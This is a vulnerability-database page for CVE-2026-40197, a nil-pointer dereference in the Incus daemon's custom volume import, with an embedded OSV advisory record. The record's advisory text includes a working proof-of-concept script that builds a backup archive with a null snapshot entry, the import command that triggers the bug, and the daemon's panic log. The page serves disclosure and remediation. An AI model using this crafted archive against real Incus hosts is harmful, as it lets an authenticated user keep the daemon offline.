CVE-2026-40197: Github.com/lxc/incus/v6/cmd/incusd Incus Has A Nil-Pointer Dereference Vulnerability
HIGHCVE-2026-40197 is a HIGH (CVSS 6.5) incus has a nil-pointer dereference vulnerability (CWE-476: NULL Pointer Dereference) affecting Github.com/lxc/incus/v6/cmd/incusd libraries in the Go ecosystem. The issue involves incus has a nil-pointer dereference via custom volume import. Remediation is available by upgrading affected packages to version 7.0.0.
CVE-2026-40197 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-40197
To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lxc/incus/v6/cmd/incusd to 7.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lxc/incus/v6/cmd/incusd
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40197, inspect your project dependencies for Github.com/lxc/incus/v6/cmd/incusd:
inspect dependencies for github.com/lxc/incus/v6/cmd/incusd
Analyze the terminal output to locate any version of Github.com/lxc/incus/v6/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In Github.com/lxc/incus/v6/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40197 Affected Github.com/lxc/incus/v6/cmd/incusd Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lxc/incus/v6/cmd/incusd
|
Go |
< 7.0.0
|
7.0.0
|
References
Frequently Asked Questions
What is CVE-2026-40197?
Which Github.com/lxc/incus/v6/cmd/incusd versions are affected?
What version fixes CVE-2026-40197?
Is github.com/lxc/incus/v6/cmd/incusd affected?
What is the CVSS score of CVE-2026-40197?
What CWE is associated with CVE-2026-40197?
How can I check Go dependencies for CVE-2026-40197?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r7w7-mmxr-47r9",
"modified" : "2026-05-08T19:27:07Z",
"published" : "2026-05-04T17:45:21Z",
"aliases" : [ "CVE-2026-40197" ],
"summary" : "Incus has a Nil-Pointer Dereference via Custom Volume Import",
"details" : "### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.\n\nIn the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.\n\nBecause the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n [...]\n // Create database entries for new storage volume snapshots.\n for _, s := range srcBackup.Config.VolumeSnapshots {\n snapshot := s // Local var for revert.\n snapName := snapshot.Name\n\n // Due to a historical bug, the volume snapshot names were sometimes written in their full form\n // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both.\n if internalInstance.IsSnapshot(snapshot.Name) {\n _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)\n }\n\n fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)\n snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)\n snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)\n\n // Validate config and create database entry for new storage volume.\n // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n if err != nil {\n return err\n }\n\n reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })\n }\n [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.\n\nStep 1: Generate the malformed archive\n\nFrom a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.\n\nCommands:\n```\ncat <<EOF > poc_nil_snapshot.sh\n#!/bin/bash\nset -e\n\necho \"[*] Building null snapshot dereference payload...\"\n\nmkdir -p backup/volume\nmkdir -p backup/snapshots/snap0\n\ncat <<EOT > backup/index.yaml\nname: panic-nil-snap\nbackend: dir\npool: default\ntype: custom\nsnapshots:\n - snap0\nconfig:\n volume:\n name: panic-nil-snap\n type: custom\n content_type: filesystem\n config: {}\n volume_snapshots:\n - null\nEOT\n\ntar -czf exploit_null_snapshot.tar.gz backup/\nrm -rf backup/\n\necho \"[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\"\nEOF\n\nbash poc_nil_snapshot.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\n```\n\nStep 2: Trigger the vulnerable custom volume import path\n\nFrom an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.\n\nCommand:\n```\nincus storage volume import default exploit_null_snapshot.tar.gz\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.\n\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic:\"\n```\n\nResult:\n```\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)\n\nMar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]\nMar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)\nMar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03\nMar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)\nMar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)\nMar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783\nMar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lxc/incus/v6/cmd/incusd"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/security/advisories/GHSA-r7w7-mmxr-47r9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40197"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lxc/incus"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-476" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-04T17:45:21Z",
"nvd_published_at" : "2026-05-06T21:16:00Z"
}
}